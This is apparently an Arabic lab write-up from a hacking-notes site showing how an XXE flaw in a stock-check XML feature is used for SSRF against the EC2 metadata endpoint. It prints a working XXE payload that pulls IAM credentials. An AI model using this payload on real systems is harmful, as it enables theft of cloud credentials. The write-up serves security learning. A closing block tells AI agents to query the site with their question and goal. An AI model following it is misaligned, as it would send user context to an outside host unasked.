> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/xxe/xxe-to-perform-ssrf-attacks.md).

# استخدام XXE لتنفيذ هجمات SSRF

### استغلال XXE لتنفيذ هجمات SSRF

استغل ثغرة XXE في **"تحقق من المخزون"** الميزة التي تقبل XML، مما يتسبب في إرسال طلب SSRF إلى نقطة نهاية بيانات تعريف EC2 (`HTTP://169.254.169.254/`) واسترجاع مفتاح IAM السري من الخادم.

يحاكي خادم المختبر نقطة نهاية بيانات تعريف EC2 القابلة للوصول عبر العنوان الافتراضي `HTTP://169.254.169.254/` العنوان. من خلال حقن كيان خارجي في XML المُرسل إلى المحلل الضعيف، يمكن إجبار الخادم على قراءة عنوان URL الداخلي وإرجاع محتواه في الاستجابة.

#### ابدأ XML

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### حمولة XXE المستخدمة لتنفيذ SSRF

الرجوع إلى كيان خارجي يشير إلى نقطة نهاية بيانات تعريف IAM ثم تضمين ذلك الكيان في الحقل المعروض (`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/84353efd8b9774765ecbb1401cf568d01b8ccc86" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/xxe/xxe-to-perform-ssrf-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.